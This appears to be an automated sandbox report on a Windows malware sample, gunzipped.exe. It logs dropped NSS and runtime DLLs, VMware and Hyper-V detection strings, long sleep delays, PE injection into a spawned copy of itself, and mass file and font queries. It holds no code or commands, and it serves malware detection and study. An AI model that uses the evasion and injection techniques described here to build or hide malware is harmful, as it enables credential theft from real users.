Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gunzipped.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file

Source: C:\Users\user\Desktop\gunzipped.exe

Registry key enumerated: More than 151 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\gunzipped.exe TID: 1688	Thread sleep time: -31500s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe TID: 2964	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_004099C0 FreeLibrary,FindFirstFileW,DeleteFileW,FindNextFileW,SetCurrentDirectoryW,RemoveDirectoryW,	3_2_004099C0
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040A9E4 FindFirstFileW,FindNextFileW,FindClose,	3_2_0040A9E4
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040D988 FindFirstFileW,FindFirstFileW,	3_2_0040D988
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00409EF0 FindFirstFileW,GetFileAttributesW,	3_2_00409EF0
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00413030 FindFirstFileW,FindNextFileW,FindClose,	3_2_00413030
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040A9E3 FindFirstFileW,FindNextFileW,FindClose,	3_2_0040A9E3
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_004119A8 FindFirstFileW,FindNextFileW,FindClose,	3_2_004119A8
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_004119AC FindFirstFileW,FindNextFileW,FindClose,	3_2_004119AC
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040DB00 FindFirstFileW,	3_2_0040DB00
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0040DB30 FindFirstFileW,	3_2_0040DB30
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00412D6C FindFirstFileW,FindNextFileW,FindClose,	3_2_00412D6C
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_0041160C FindFirstFileW,FindNextFileW,FindClose,	3_2_0041160C
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00413F58 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	3_2_00413F58
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00409EE8 FindFirstFileW,GetFileAttributesW,	3_2_00409EE8
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 3_2_00413F58 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	3_2_00413F58

Source: C:\Users\user\Desktop\gunzipped.exe

Code function: 3_2_00415E44 GetSystemInfo,

3_2_00415E44

Source: C:\Users\user\Desktop\gunzipped.exe	Thread delayed: delay time: 31500			Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: gunzipped.exe, 00000003.00000002.284437491.0000000000C57000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW01
Source: gunzipped.exe, 00000001.00000002.254573447.0000000003470000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA IIOData Source=localhost\sqlexpress;Initial Catalog=dbSMS;Integrated Security=True
Source: gunzipped.exe, 00000001.00000002.254573447.0000000003470000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: gunzipped.exe, 00000001.00000002.254573447.0000000003470000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: gunzipped.exe, 00000001.00000002.254573447.0000000003470000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: gunzipped.exe, 00000003.00000003.267156085.0000000000C9D000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: gunzipped.exe, 00000001.00000002.254573447.0000000003470000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: gunzipped.exe, 00000001.00000002.254573447.0000000003470000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: gunzipped.exe, 00000001.00000002.254573447.0000000003470000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: gunzipped.exe, 00000001.00000002.254573447.0000000003470000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: gunzipped.exe, 00000001.00000002.254573447.0000000003470000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: gunzipped.exe, 00000003.00000002.284563787.0000000000C9D000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW"

Source: C:\Users\user\Desktop\gunzipped.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\gunzipped.exe

3_2_00416290

Source: C:\Users\user\Desktop\gunzipped.exe

3_2_00417216

Source: C:\Users\user\Desktop\gunzipped.exe

Code function: 3_2_00407AF0 mov eax, dword ptr fs:[00000030h]

3_2_00407AF0

Source: C:\Users\user\Desktop\gunzipped.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\gunzipped.exe

Memory written: C:\Users\user\Desktop\gunzipped.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\gunzipped.exe

Process created: C:\Users\user\Desktop\gunzipped.exe {path}

Jump to behavior

Source: C:\Users\user\Desktop\gunzipped.exe

Code function: GetLocaleInfoA,

3_2_00404BA8

Source: C:\Users\user\Desktop\gunzipped.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
